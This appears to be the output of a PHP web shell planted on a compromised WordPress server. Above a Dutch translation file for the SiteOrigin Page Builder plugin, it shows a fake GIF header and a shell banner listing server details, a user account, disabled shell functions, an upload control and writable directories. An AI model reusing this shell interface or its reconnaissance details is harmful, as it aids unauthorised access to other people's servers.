GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/siteorigin-panels-nl_NL.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.7.5\n"
"Project-Id-Version: Page Builder\n"
"Language: nl\n"
"POT-Creation-Date: \n"
"PO-Revision-Date: \n"
"Last-Translator: \n"
"Language-Team: \n"

#: inc/admin-actions.php:80
msgid "No description"
msgstr "Geen beschrijving"

#. A prebuilt layout is essentially a complete visual layout that was pre created.
#: inc/admin-actions.php:89
msgid "Your theme doesn't have any prebuilt layouts."
msgstr "Jouw theme heeft geen ingebouwde layouts."

#: inc/admin-actions.php:90
msgid "You can still clone existing pages though."
msgstr "Je kunt nog steeds bestaande pagina's klonen"

#: inc/admin-actions.php:123
msgid "Clone"
msgstr "Klonen"

#: inc/admin-actions.php:141
msgid "There are no %s with Page Builder content to clone."
msgstr "Er zijn geen %s met Page Builder-inhoud te klonen."

#: inc/default-styles.php:57
msgid "Row Class"
msgstr "Rij klasse"

#. A CSS class is something to describe an HTML element.
#: inc/default-styles.php:60 inc/default-styles.php:165
msgid "A CSS class"
msgstr "Een CSS klasse"

#: inc/default-styles.php:65
msgid "Cell Class"
msgstr "Cel klasse"

#: inc/default-styles.php:68
msgid "Class added to all cells in this row."
msgstr "Klasse toegevoegd aan elke cel in deze rij."

#: inc/default-styles.php:73 inc/default-styles.php:170
msgid "CSS Styles"
msgstr "CSS klassen"

#: inc/default-styles.php:76 inc/default-styles.php:173
msgid "CSS Styles, given as one per row."
msgstr "CSS klassen, één per rij"

#. The amount of spacing below a row. This comes from the concept of a text margin.
#: inc/default-styles.php:83
msgid "Bottom Margin"
msgstr "Ondermarge"

#: inc/default-styles.php:86
msgid "Space below the row."
msgstr "Ruimte onder de rij"

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: inc/default-styles.php:91
msgid "Gutter"
msgstr "Tussenruimte"

#: inc/default-styles.php:94
msgid "Amount of space between columns."
msgstr "Ruimte tussen de kolommen"

#. This is essentially the amount of padding, or amount of space around a widget or row.
#: inc/default-styles.php:99 inc/default-styles.php:178
msgid "Padding"
msgstr "Padding"

#: inc/default-styles.php:102
msgid "Padding around the entire row."
msgstr "Padding rondom de gehele rij."

#: inc/default-styles.php:107
msgid "Row Layout"
msgstr "Rij layout"

#: inc/default-styles.php:111
msgid "Standard"
msgstr "Standaard"

#: inc/default-styles.php:112
msgid "Full Width"
msgstr "Volledige breedte"

#. This means the row is displayed the full width of the page and the content is also stretched.
#: inc/default-styles.php:113
msgid "Full Width Stretched"
msgstr "Volledige breedte uitgerekt"

#: inc/default-styles.php:121 inc/default-styles.php:188
msgid "Background Color"
msgstr "Achtergrondkleur"

#: inc/default-styles.php:124
msgid "Background color of the row."
msgstr "Achtergrondkleur van de rij"

#: inc/default-styles.php:129 inc/default-styles.php:196
msgid "Background Image"
msgstr "Achtergrond afbeelding"

#: inc/default-styles.php:132
msgid "Background image of the row."
msgstr "Achtergrond afbeelding van de rij."

#: inc/default-styles.php:137 inc/default-styles.php:204
msgid "Background Image Display"
msgstr "Toon achtergrond afbeelding"

#. Betegelde afbeelding, klinkt dat niet een beetje gek?
#: inc/default-styles.php:141 inc/default-styles.php:208
msgid "Tiled Image"
msgstr "Als tegels"

#: inc/default-styles.php:142 inc/default-styles.php:209
msgid "Cover"
msgstr "Geheel bedekt"

#: inc/default-styles.php:143 inc/default-styles.php:210
msgid "Centered, with original size"
msgstr "Gecentreerd, in de originele grootte"

#: inc/default-styles.php:145 inc/default-styles.php:212
msgid "How the background image is displayed."
msgstr "Hoe de achtergrond afbeelding wordt afgebeeld."

#: inc/default-styles.php:150 inc/default-styles.php:217
msgid "Border Color"
msgstr "Rand kleur"

#: inc/default-styles.php:153
msgid "Border color of the row."
msgstr "Rand kleur van de rij."

#. Widget is commonly used in Dutch
#: inc/default-styles.php:162
msgid "Widget Class"
msgstr "Widget klasse"

#: inc/default-styles.php:181
msgid "Padding around the entire widget."
msgstr "Padding rondom de volledige widget."

#: inc/default-styles.php:191
msgid "Background color of the widget."
msgstr "Achtergrondkleur van de widget"

#: inc/default-styles.php:199
msgid "Background image of the widget."
msgstr "Achtergrondafbeelding van de widget."

#: inc/default-styles.php:220
msgid "Border color of the widget."
msgstr "Rand kleur van de widget"

#: inc/default-styles.php:225
msgid "Font Color"
msgstr "Tekstkleur"

#: inc/default-styles.php:228
msgid "Color of text inside this widget."
msgstr "Tekstkleur in deze widget"

#: inc/plugin-activation.php:7 inc/plugin-activation.php:8
msgid "Install Page Builder Plugin"
msgstr "Installeer Page Builder Plugin"

#: inc/plugin-activation.php:74
msgid "Installing %s"
msgstr "Installeert %s"

#: inc/revisions.php:50
msgid "Page Builder Content"
msgstr "Page Builder Inhoud"

#: inc/styles.php:16
msgid "Row Styles"
msgstr "Rijstijlen"

#: inc/styles.php:20
msgid "Widget Styles"
msgstr "Widget-stijlen"

#: inc/styles.php:42
msgid "Attributes"
msgstr "Attributen"

#: inc/styles.php:46 settings/settings.php:225
msgid "Layout"
msgstr "Layout"

#. Design is commonly used in Dutch. direct translation is "ontwerp". I prefer to use "design" for the rest of this translation
#: inc/styles.php:50
msgid "Design"
msgstr "Design"

#. Theme is commonly used in Dutch
#: inc/styles.php:60
msgid "Theme"
msgstr "Theme"

#: inc/styles.php:179
msgid "Select Image"
msgstr "Selecteer afbeelding"

#: inc/styles.php:183
msgid "Remove"
msgstr "Verwijderen"

#: inc/styles.php:197 settings/settings.php:313
msgid "Enabled"
msgstr "Toegestaan"

#: inc/widgets-bundle.php:7
msgid "SiteOrigin Button"
msgstr "SiteOrigin knop"

#: inc/widgets-bundle.php:8 widgets/widgets/button/button.php:8
msgid "A simple button"
msgstr "Een eenvoudige knop"

#: inc/widgets-bundle.php:11 inc/widgets-bundle.php:23
#: inc/widgets-bundle.php:35 inc/widgets-bundle.php:47
#: inc/widgets-bundle.php:59 inc/widgets.php:126
msgid "SiteOrigin Widgets Bundle"
msgstr "SiteOrigin Widgets Bundel"

#: inc/widgets-bundle.php:19
msgid "SiteOrigin Image"
msgstr "SiteOrigin Afbeelding"

#: inc/widgets-bundle.php:20
msgid "Choose images from your media library."
msgstr "Selecteer afbeeldingen uit je mediabibliotheek"

#. Slider is commonly used by programmers in Dutch
#: inc/widgets-bundle.php:31
msgid "SiteOrigin Slider"
msgstr "SiteOrigin Slider"

#: inc/widgets-bundle.php:32
msgid "A basic slider widget."
msgstr "Een eenvoudige slider widget"

#: inc/widgets-bundle.php:43
msgid "SiteOrigin Features"
msgstr "SiteOrigin functies"

#. icon is commonly used in Dutch
#: inc/widgets-bundle.php:44
msgid "Display site features as a collection of icons."
msgstr "Toon site functies als een collectie icons"

#: inc/widgets-bundle.php:55
msgid "SiteOrigin Post Carousel"
msgstr "SiteOrigin Post Carrousel"

#: inc/widgets-bundle.php:56
msgid "Display your posts as a carousel."
msgstr "Berichten als carrousel laten zien"

#: inc/widgets.php:17
msgid "Visual Editor"
msgstr "Visuele Editor"

#: inc/widgets.php:18
msgid "Arbitrary text or HTML with visual editor"
msgstr "Willekeurige tekst of HTML met visuele editor"

#: inc/widgets.php:21
msgid "Black Studio TinyMCE"
msgstr "Black Studio TinyMCE"

#: inc/widgets.php:102
msgid "Widgets Bundle"
msgstr "Widgets Bundel"

#: inc/widgets.php:132
msgid "Page Builder Widgets"
msgstr "Page Builder Widgets"

#: inc/widgets.php:148
msgid "WordPress Widgets"
msgstr "WordPress Widgets"

#: inc/widgets.php:158
msgid "WooCommerce"
msgstr "WooCommerce"

#: inc/widgets.php:169
msgid "Jetpack"
msgstr "Jetpack"

#: inc/widgets.php:180
msgid "BBPress"
msgstr "BBPress"

#: inc/widgets.php:188 settings/settings.php:218
msgid "Recommended Widgets"
msgstr "Aanbevolen Widgets"

#: settings/settings.php:146 settings/tpl/settings.php:9 tpl/options.php:5
msgid "SiteOrigin Page Builder"
msgstr "SiteOrigin Page Builder "

#: settings/settings.php:146 siteorigin-panels.php:108
#: siteorigin-panels.php:467 tpl/js-templates.php:160
msgid "Page Builder"
msgstr "Page Builder "

#: settings/settings.php:170
msgid "Page Builder Settings"
msgstr "Page Builder Instellingen "

#: settings/settings.php:186 tpl/options.php:11
msgid "General"
msgstr "Algemeen"

#. Bericht in plaats van Post, zie ik vaak als Nederlandse vertaling gebruikt worden. WP NL hanteert die term ook.
#: settings/settings.php:192 tpl/options.php:15
msgid "Post Types"
msgstr "Bericht types"

#: settings/settings.php:194
msgid "The post types to use Page Builder on."
msgstr "Gebruik Page Builder voor deze bericht types."

#: settings/settings.php:200
msgid "Widgets"
msgstr "Widgets"

#: settings/settings.php:206
msgid "Widget Title HTML"
msgstr "Widget Titel HTML"

#. Something I forgot to mention is that for this string "{{title}}" shouldn't be translated. The rest of the string can be, but that one part needs to remain as is.
#: settings/settings.php:207
msgid "The HTML used for widget titles. {{title}} is replaced with the widget title."
msgstr "De HTML gebruikt voor widget titels. {{title}} wordt vervangen door de widget titel."

#: settings/settings.php:212
msgid "Legacy Bundled Widgets"
msgstr "gebundelde Legacy widgets"

#: settings/settings.php:213
msgid "Load legacy widgets from Page Builder 1."
msgstr "Laadt Legacy widgets van Page Builder 1."

#: settings/settings.php:219
msgid "Display recommend widgets in Page Builder add widget dialog."
msgstr "Toon aanbevolen widgets in Page Builder \"voeg widget toe\" - dialoog."

#: settings/settings.php:233 tpl/options.php:57
msgid "Responsive Layout"
msgstr "Responsive Layout"

#. Betekent collapse niet inklappen?
#: settings/settings.php:234
msgid "Collapse widgets, rows and columns on mobile devices."
msgstr "Klap widgets, rijen en kolommen in op mobile aparaten."

#: settings/settings.php:240 tpl/options.php:64
msgid "Mobile Width"
msgstr "Mobiele breedte"

#: settings/settings.php:241
msgid "Device width, in pixels, to collapse into a mobile view ."
msgstr "Apparaat breedte, in pixels, om te veranderen in een mobiel overzicht."

#: settings/settings.php:247 tpl/options.php:70
msgid "Row Bottom Margin"
msgstr "Ondermarge Rij"

#: settings/settings.php:248
msgid "Default margin below rows."
msgstr "Vaste marge onder rijen"

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: settings/settings.php:254
msgid "Row Gutter"
msgstr "Tussenruimte Rij"

#: settings/settings.php:255
msgid "Default spacing between columns in each row."
msgstr "Vaste ruimte tussen kolommen in elke rij."

#. In this context, the container is an HTML container or wrapper.
#: settings/settings.php:261
msgid "Full Width Container"
msgstr "Volle breedte container"

#: settings/settings.php:262
msgid "The container used for the full width layout."
msgstr "De container wordt gebruikt voor de volle breedte layout."

#: settings/settings.php:269
msgid "Content"
msgstr "Inhoud"

#: settings/settings.php:275 tpl/options.php:25
msgid "Copy Content"
msgstr "Kopieer inhoud"

#: settings/settings.php:276
msgid "Copy content from Page Builder to post content."
msgstr "Kopieer inhoud van Page Builder naar bericht inhoud."

#: settings/tpl/settings.php:12
msgid "Search Settings"
msgstr "Zoek instellingen"

#: settings/tpl/settings.php:29
msgid "Settings Saved"
msgstr "Instellingen opgeslagen"

#: settings/tpl/settings.php:78 tpl/options.php:93
msgid "Save Settings"
msgstr "Instellingen opslaan"

#. 'Aangepaste Home Page' lijkt me geschikter
#: siteorigin-panels.php:73
msgid "Custom Home Page Builder"
msgstr "Aangepaste Homepage Bouwer"

#: siteorigin-panels.php:74 siteorigin-panels.php:140
msgid "Home Page"
msgstr "Homepage"

#: siteorigin-panels.php:263
msgid "All Widgets"
msgstr "Alle widgets"

#: siteorigin-panels.php:274
msgid "Missing Widget"
msgstr "Ontbrekende widget"

#: siteorigin-panels.php:275
msgid "Page Builder doesn't know about this widget."
msgstr "Page Builder kent deze widget niet"

#: siteorigin-panels.php:279
msgid "%d seconds"
msgstr "%d seconden"

#: siteorigin-panels.php:281
msgid "%d minutes"
msgstr "%d minuten"

#: siteorigin-panels.php:283
msgid "%d hours"
msgstr "%d uren"

#: siteorigin-panels.php:286
msgid "%d second"
msgstr "%d seconde"

#: siteorigin-panels.php:288
msgid "%d minute"
msgstr "%d minuut"

#: siteorigin-panels.php:290
msgid "%d hour"
msgstr "%d uur"

#: siteorigin-panels.php:293
msgid "%s before"
msgstr "%s voor"

#: siteorigin-panels.php:294
msgid "Now"
msgstr "Nu"

#: siteorigin-panels.php:298
msgid "Current"
msgstr "Huidig"

#: siteorigin-panels.php:299
msgid "Original"
msgstr "Origineel"

#: siteorigin-panels.php:300
msgid "Version restored"
msgstr "Versie hersteld"

#: siteorigin-panels.php:304
msgid "Widget deleted"
msgstr "Widget verwijderd"

#: siteorigin-panels.php:306
msgid "Widget added"
msgstr "Widget toegevoegd"

#: siteorigin-panels.php:308
msgid "Widget edited"
msgstr "Widget aangepast"

#: siteorigin-panels.php:310
msgid "Widget duplicated"
msgstr "Widget gekopieerd"

#: siteorigin-panels.php:312
msgid "Widget moved"
msgstr "Widget verplaatst"

#: siteorigin-panels.php:316
msgid "Row deleted"
msgstr "Widget verwijderd"

#: siteorigin-panels.php:318
msgid "Row added"
msgstr "Rij toegevoegd"

#: siteorigin-panels.php:320
msgid "Row edited"
msgstr "Rij aangepast"

#: siteorigin-panels.php:322
msgid "Row moved"
msgstr "Rij verplaatst"

#: siteorigin-panels.php:324
msgid "Row duplicated"
msgstr "Rij gekopieerd"

#: siteorigin-panels.php:327
msgid "Cell resized"
msgstr "Cel formaat gewijzigd"

#: siteorigin-panels.php:330
msgid "Prebuilt layout loaded"
msgstr "Voorafgebouwde layout geladen"

#: siteorigin-panels.php:334
msgid "Are you sure you want to overwrite your current content? This can be undone in the builder history."
msgstr "Weet je zeker dat je de huidige inhoud wilt overschrijven? Dit kan ongedaan gemaakt worden in de bouwgeschiedenis."

#: siteorigin-panels.php:335
msgid "Loading prebuilt layout"
msgstr "Laden voorafgebouwde layout"

#: siteorigin-panels.php:336
msgid "Would you like to copy this editor's existing content to Page Builder?"
msgstr "Wil je de bestaande inhoud van deze editor naar Page Builder kopiëren?"

#: siteorigin-panels.php:337
msgid "Would you like to clear your Page Builder content and revert to using the standard visual editor?"
msgstr "Wil je jouw Page Builder inhoud wissen en terugverwijzen naar de standaard visuele editor?"

#: siteorigin-panels.php:339
msgid "Layout Builder Widget"
msgstr "Layout Bouwer Widget"

#: siteorigin-panels.php:341 tpl/js-templates.php:85
msgid "Are you sure?"
msgstr "Ben je zeker?"

#: siteorigin-panels.php:348
msgid "Page Builder layouts"
msgstr "Page Builder layouts"

#: siteorigin-panels.php:349
msgid "Error uploading or importing file."
msgstr "Fout bij uploaden of importeren bestand."

#: siteorigin-panels.php:395
msgid "Untitled Widget"
msgstr "Naamloze Widget"

#: siteorigin-panels.php:1140
msgid "Edit Home Page"
msgstr "Wijzig homepage"

#: siteorigin-panels.php:1237
msgid "Save and reload this page to start using the widget after you've installed it."
msgstr "Opslaan en pagina opnieuw laden om widget te gebruiken na installatie."

#: siteorigin-panels.php:1321
msgid "Support Forum"
msgstr "Support Forum"

#: siteorigin-panels.php:1322
msgid "Newsletter"
msgstr "Nieuwsbrief"

#: tpl/admin-home-page.php:9
msgid "On"
msgstr "Aan"

#: tpl/admin-home-page.php:9
msgid "Off"
msgstr "Uit"

#: tpl/admin-home-page.php:13
msgid "Custom Home Page"
msgstr "Aangepaste Homepage"

#: tpl/admin-home-page.php:45
msgid "Save Home Page"
msgstr "Homepage opslaan"

#: tpl/admin-home-page.php:49
msgid "This interface requires Javascript"
msgstr "Deze interface heeft Javascript nodig"

#. English text incomplete filled "with" your own widgets
#: tpl/help.php:2
msgid "You can use SiteOrigin Page Builder to create home and sub pages, filled your own widgets."
msgstr "Je kunt SiteOrigin Page Builder gebruiken om homepages en webpagina's te bouwen gevuld met je eigen widgets."

#. responsive "webdesign" is commonly used in Dutch
#: tpl/help.php:3
msgid "The page layouts are responsive and fully customizable."
msgstr "Deze pagina layouts zijn responsive en volledig aan te passen."

#: tpl/js-templates.php:12
msgid "Add Widget"
msgstr "Widget toevoegen"

#: tpl/js-templates.php:17
msgid "Add Row"
msgstr "Rij toevoegen"

#: tpl/js-templates.php:22
msgid "Prebuilt"
msgstr "Voorafgebouwd"

#: tpl/js-templates.php:29
msgid "History"
msgstr "Geschiedenis"

#: tpl/js-templates.php:34
msgid "Live Editor"
msgstr "Live Editor"

#: tpl/js-templates.php:39
msgid "Switch to Editor"
msgstr "Ga naar editor"

#: tpl/js-templates.php:83 tpl/js-templates.php:256
msgid "Edit Row"
msgstr "Rij aanpassen"

#: tpl/js-templates.php:84
msgid "Duplicate Row"
msgstr "Kopieer Rij"

#: tpl/js-templates.php:85
msgid "Delete Row"
msgstr "Verwijder Rij"

#: tpl/js-templates.php:113
msgid "Edit"
msgstr "Aanpassen"

#: tpl/js-templates.php:114 tpl/js-templates.php:231 tpl/js-templates.php:322
msgid "Duplicate"
msgstr "Kopiëren"

#: tpl/js-templates.php:115 tpl/js-templates.php:230 tpl/js-templates.php:321
msgid "Delete"
msgstr "Verwijderen"

#: tpl/js-templates.php:169 tpl/js-templates.php:234
msgid "Done"
msgstr "Voltooid"

#: tpl/js-templates.php:183
msgid "Add New Widget %s"
msgstr "Nieuw Widget %s toevoegen"

#: tpl/js-templates.php:187
msgid "Search Widgets"
msgstr "Widgets zoeken"

#: tpl/js-templates.php:199
msgid "Close"
msgstr "Sluiten"

#: tpl/js-templates.php:254
msgid "Add New Row"
msgstr "Nieuwe rij toevoegen"

#: tpl/js-templates.php:290
msgid "Left to Right"
msgstr "links naar rechts"

#: tpl/js-templates.php:291
msgid "Right to Left"
msgstr "rechts naar links"

#: tpl/js-templates.php:308
msgid "Set"
msgstr "Instellen"

#: tpl/js-templates.php:327
msgid "Insert"
msgstr "Invoegen"

#: tpl/js-templates.php:329
msgid "Save"
msgstr "Opslaan"

#: tpl/js-templates.php:347
msgid "Prebuilt Layouts"
msgstr "Voorafgebouwde Layouts"

#: tpl/js-templates.php:351
msgid "Search"
msgstr "Zoeken"

#: tpl/js-templates.php:354
msgid "Theme Defined"
msgstr "Theme gedefinieerd"

#: tpl/js-templates.php:355
msgid "Import/Export"
msgstr "Import/Export"

#: tpl/js-templates.php:361
msgid "Clone: %s"
msgstr "Kloon %s"

#: tpl/js-templates.php:382
msgid "Drop import file here"
msgstr "geïmporteerd bestand hier plaatsen"

#: tpl/js-templates.php:383
msgid "Or"
msgstr "Of"

#: tpl/js-templates.php:386
msgid "Select Import File"
msgstr "Selecteer geïmporteerd bestand"

#: tpl/js-templates.php:398
msgid "Download Layout"
msgstr "Download Layout"

#: tpl/js-templates.php:419
msgid "Page Builder Change History"
msgstr "Geschiedenis wijzigingen Page Builder"

#: tpl/js-templates.php:433
msgid "Restore Version"
msgstr "Herstel versie"

#: tpl/js-templates.php:458
msgid "Close Live Editor"
msgstr "Sluit Live Editor"

#: tpl/options.php:26
msgid "Copy content from Page Builder into the standard content editor."
msgstr "Kopieer inhoud van Page Builder in de standaard editor."

#: tpl/options.php:32
msgid "Animations"
msgstr "Animaties"

#: tpl/options.php:33
msgid "Disable animations for improved performance."
msgstr "Zet animaties uit voor een verbeterde weergave."

#: tpl/options.php:39
msgid "Bundled Widgets"
msgstr "Gebundelde Widgets"

#: tpl/options.php:40
msgid "Include the bundled widgets."
msgstr "Voeg de gebundelde widgets ook toe."

#: tpl/options.php:48
msgid "Display"
msgstr "Scherm"

#: tpl/options.php:58
msgid "Should the layout collapse for mobile devices."
msgstr "Als de layout verandert op mobiele aparaten."

#: tpl/options.php:76
msgid "Cell Side Margins"
msgstr "Cel zijkant marges"

#: tpl/options.php:82
msgid "Inline CSS"
msgstr "Inline CSS"

#: widgets/basic.php:13
msgid "Layout Builder"
msgstr "Layout Builder"

#: widgets/basic.php:53
msgid "Open Builder"
msgstr "Open Builder"

#: widgets/basic.php:82
msgid "Post Content"
msgstr "Plaats inhoud"

#: widgets/basic.php:84
#, fuzzy
msgid "Displays content from the current post."
msgstr "Toont de inhoud van het geplaatste bericht."

#: widgets/basic.php:130 widgets/basic.php:427 widgets/widgets.php:589
#: widgets/widgets.php:764
msgid "None"
msgstr "Geen"

#: widgets/basic.php:131 widgets/basic.php:355
#: widgets/widgets/call-to-action/call-to-action.php:15
#: widgets/widgets/list/list.php:15 widgets/widgets/price-box/price-box.php:15
msgid "Title"
msgstr "Titel"

#: widgets/basic.php:132
msgid "Featured Image"
msgstr "Uitgelichte afbeelding"

#: widgets/basic.php:137
msgid "Display Content"
msgstr "Toon inhoud"

#: widgets/basic.php:157
msgid "Post Loop"
msgstr "Plaats loop"

#: widgets/basic.php:159
msgid "Displays a post loop."
msgstr "Toont een bericht loop"

#. Loops wordt ook wel als lus vertaald.
#. Loops could also be translated as 'lus'. I don't know what is most common in Dutch for this item.
#: widgets/basic.php:349
msgid "Your theme doesn't have any post loops."
msgstr "Jouw theme heeft geen bericht loops."

#. "Template" is commonly used in Dutch Translated it is "Sjabloon" but i will use "template" as it is accepted
#: widgets/basic.php:359
msgid "Template"
msgstr "Template"

#. unclear
#: widgets/basic.php:375
msgid "More Link "
msgstr "Lees meer link"

#: widgets/basic.php:377
msgid "If the template supports it, cut posts and display the more link."
msgstr "Als de template het ondersteunt, verkort bericht en toon de \"lees meer\" link."

#: widgets/basic.php:411 widgets/widgets.php:575
msgid "Post Type"
msgstr "Post type"

#: widgets/basic.php:420 widgets/widgets.php:582
msgid "Posts Per Page"
msgstr "Posts per pagina"

#: widgets/basic.php:425 widgets/widgets.php:587
msgid "Order By"
msgstr "Sorteer op"

#: widgets/basic.php:428 widgets/widgets.php:590
msgid "Post ID"
msgstr "Post ID"

#: widgets/basic.php:429 widgets/widgets.php:591
msgid "Author"
msgstr "Auteur"

#: widgets/basic.php:430 widgets/basic.php:431 widgets/widgets.php:592
#: widgets/widgets.php:593 widgets/widgets/testimonial/testimonial.php:15
msgid "Name"
msgstr "Naam"

#: widgets/basic.php:432 widgets/widgets.php:594
msgid "Date"
msgstr "Datum"

#: widgets/basic.php:433 widgets/widgets.php:595
msgid "Modified"
msgstr "Aangepast"

#: widgets/basic.php:434 widgets/widgets.php:596
msgid "Parent"
msgstr "Parent"

#: widgets/basic.php:435 widgets/widgets.php:597
msgid "Random"
msgstr "Willekeurig"

#: widgets/basic.php:436 widgets/widgets.php:598
msgid "Comment Count"
msgstr "Aantal Reacties"

#: widgets/basic.php:437 widgets/basic.php:438 widgets/widgets.php:599
msgid "Menu Order"
msgstr "Menu volgorde"

#: widgets/basic.php:439
msgid "Post In Order"
msgstr "Post op volgorde"

#: widgets/basic.php:444 widgets/widgets.php:605
msgid "Order"
msgstr "volgorde"

#: widgets/basic.php:446 widgets/widgets.php:608
msgid "Descending"
msgstr "Aflopend"

#: widgets/basic.php:447 widgets/widgets.php:607
msgid "Ascending"
msgstr "Oplopend"

#. Sticky post is used in Dutch in the WP community
#: widgets/basic.php:452 widgets/widgets.php:614
msgid "Sticky Posts"
msgstr "Sticky Posts"

#: widgets/basic.php:454 widgets/widgets.php:616 widgets/widgets.php:738
msgid "Default"
msgstr "Standaard"

#: widgets/basic.php:455 widgets/widgets.php:617
msgid "Ignore Sticky"
msgstr "Sticky negeren"

#: widgets/basic.php:456 widgets/widgets.php:618
msgid "Exclude Sticky"
msgstr "Sticky uitsluiten"

#: widgets/basic.php:457 widgets/widgets.php:619
msgid "Only Sticky"
msgstr "Alleen Sticky"

#: widgets/basic.php:462
msgid "Additional "
msgstr "Extra␣"

#: widgets/widgets.php:204
msgid "Style"
msgstr "Stijl"

#: widgets/widgets.php:228
msgid "%s Style"
msgstr "%s Stijl"

#: widgets/widgets.php:625
msgid "Additional Arguments"
msgstr "Extra argumenten"

#: widgets/widgets.php:686
msgid "Gallery (PB)"
msgstr "Galerij (PB)"

#: widgets/widgets.php:688
msgid "Displays a gallery."
msgstr "Toont een galerij"

#: widgets/widgets.php:727
msgid "Gallery Images"
msgstr "Galerij afbeeldingen"

#: widgets/widgets.php:728
msgid "edit gallery"
msgstr "Galerij bewerken"

#: widgets/widgets.php:732
msgid "Comma separated attachment IDs. Defaults to all current page's attachments."
msgstr "Komma gescheiden bijlage ID's. Gestandaardiseerd naar alle huidige pagina bijlages."

#: widgets/widgets.php:736
msgid "Image Size"
msgstr "Afbeeldingsgrootte"

#: widgets/widgets.php:739
msgid "Large"
msgstr "Breed"

#. "Medium" in which context as in average, half full, or standard?
#: widgets/widgets.php:740
msgid "Medium"
msgstr "Medium"

#. commonly used in Dutch WP community
#: widgets/widgets.php:741
msgid "Thumbnail"
msgstr "Thumbnail"

#: widgets/widgets.php:742
msgid "Full"
msgstr "Volledig"

#: widgets/widgets.php:750
msgid "Gallery Type"
msgstr "Galerij type"

#: widgets/widgets.php:755
msgid "Columns"
msgstr "Kolommen"

#: widgets/widgets.php:760
msgid "Link To"
msgstr "Link naar"

#: widgets/widgets.php:762
msgid "Attachment Page"
msgstr "Bijlage pagina"

#: widgets/widgets.php:763
msgid "File"
msgstr "Bestand"

#: widgets/widgets.php:781
msgid "Image (PB)"
msgstr "Beeld"

#: widgets/widgets.php:783
msgid "Displays a simple image."
msgstr "Toont een simpel beeld."

#: widgets/widgets.php:816
#: widgets/widgets/animated-image/animated-image.php:15
msgid "Image URL"
msgstr "Url van het beeld"

#: widgets/widgets.php:820 widgets/widgets/button/button.php:19
msgid "Destination URL"
msgstr "Bestemmingsurl"

#: widgets/widgets.php:834
msgid "Embedded Video (PB)"
msgstr "Ingesloten Video (PB)"

#: widgets/widgets.php:836
msgid "Embeds a video."
msgstr "Video insluiten"

#: widgets/widgets.php:874
msgid "Video"
msgstr "Video"

#: widgets/widgets.php:890
msgid "Self Hosted Video (PB)"
msgstr "Zelf gehoste video"

#: widgets/widgets.php:892
msgid "A self hosted video player."
msgstr "Zelf gehoste videospeler."

#: widgets/widgets.php:934
msgid "Video URL"
msgstr "Url van de video"

#: widgets/widgets.php:938
msgid "Poster URL"
msgstr "URL plaatser"

#: widgets/widgets.php:940
msgid "An image that displays before the video starts playing."
msgstr "Een afbeelding die verschijnt voordat de video begint af te spelen."

#: widgets/widgets.php:945
msgid "Auto Play Video"
msgstr "Auto Play Video"

#: widgets/widgets/animated-image/animated-image.php:6
msgid "Animated Image (PB)"
msgstr "Geanimeerd beeld"

#: widgets/widgets/animated-image/animated-image.php:8
msgid "An image that animates in when it enters the screen."
msgstr "Een afbeelding die beweegt als het op het scherm verschijnt."

#: widgets/widgets/animated-image/animated-image.php:19
msgid "Animation"
msgstr "Animatie"

#: widgets/widgets/animated-image/animated-image.php:21
msgid "Fade In"
msgstr "Fade in"

#: widgets/widgets/animated-image/animated-image.php:22
msgid "Slide Up"
msgstr "Naar boven"

#: widgets/widgets/animated-image/animated-image.php:23
msgid "Slide Down"
msgstr "Naar onderen"

#: widgets/widgets/animated-image/animated-image.php:24
msgid "Slide Left"
msgstr "Naar links"

#: widgets/widgets/animated-image/animated-image.php:25
msgid "Slide Right"
msgstr "Naar rechts"

#: widgets/widgets/button/button.php:6
msgid "Button (PB)"
msgstr "Knop (PB)"

#: widgets/widgets/button/button.php:15 widgets/widgets/list/list.php:19
#: widgets/widgets/testimonial/testimonial.php:27
msgid "Text"
msgstr "Tekst"

#: widgets/widgets/button/button.php:23
#: widgets/widgets/call-to-action/call-to-action.php:31
#: widgets/widgets/price-box/price-box.php:44
#: widgets/widgets/testimonial/testimonial.php:36
msgid "Open In New Window"
msgstr "Open in nieuw scherm"

#: widgets/widgets/button/button.php:27
msgid "Button Alignment"
msgstr "Knop positie"

#: widgets/widgets/button/button.php:29
msgid "Left"
msgstr "Links"

#: widgets/widgets/button/button.php:30
msgid "Right"
msgstr "Rechts"

#: widgets/widgets/button/button.php:31
msgid "Center"
msgstr "Gecentreerd"

#: widgets/widgets/button/button.php:32
msgid "Justify"
msgstr "Positioneren"

#: widgets/widgets/call-to-action/call-to-action.php:6
msgid "Call To Action (PB)"
msgstr "Call To Action (PB)"

#: widgets/widgets/call-to-action/call-to-action.php:8
msgid "A Call to Action block"
msgstr "\"Call To Action\" blok"

#: widgets/widgets/call-to-action/call-to-action.php:19
msgid "Sub Title"
msgstr "Ondertitel"

#: widgets/widgets/call-to-action/call-to-action.php:23
#: widgets/widgets/price-box/price-box.php:36
msgid "Button Text"
msgstr "Knoptekst"

#: widgets/widgets/call-to-action/call-to-action.php:27
#: widgets/widgets/price-box/price-box.php:40
msgid "Button URL"
msgstr "Knop URL"

#: widgets/widgets/call-to-action/call-to-action.php:37
#: widgets/widgets/price-box/price-box.php:49
msgid "Button"
msgstr "Knop"

#: widgets/widgets/list/list.php:6
msgid "List (PB)"
msgstr "Lijst (PB)"

#: widgets/widgets/list/list.php:8 widgets/widgets/price-box/price-box.php:8
msgid "Displays a bullet list of elements"
msgstr "Toont een opsomming van gegevens"

#: widgets/widgets/list/list.php:20 widgets/widgets/price-box/price-box.php:32
msgid "Start each new point with an asterisk (*)"
msgstr "Start ieder nieuw punt met een asterisk (*)"

#: widgets/widgets/price-box/price-box.php:6
msgid "Price Box (PB)"
msgstr "Prijs Box (PB)"

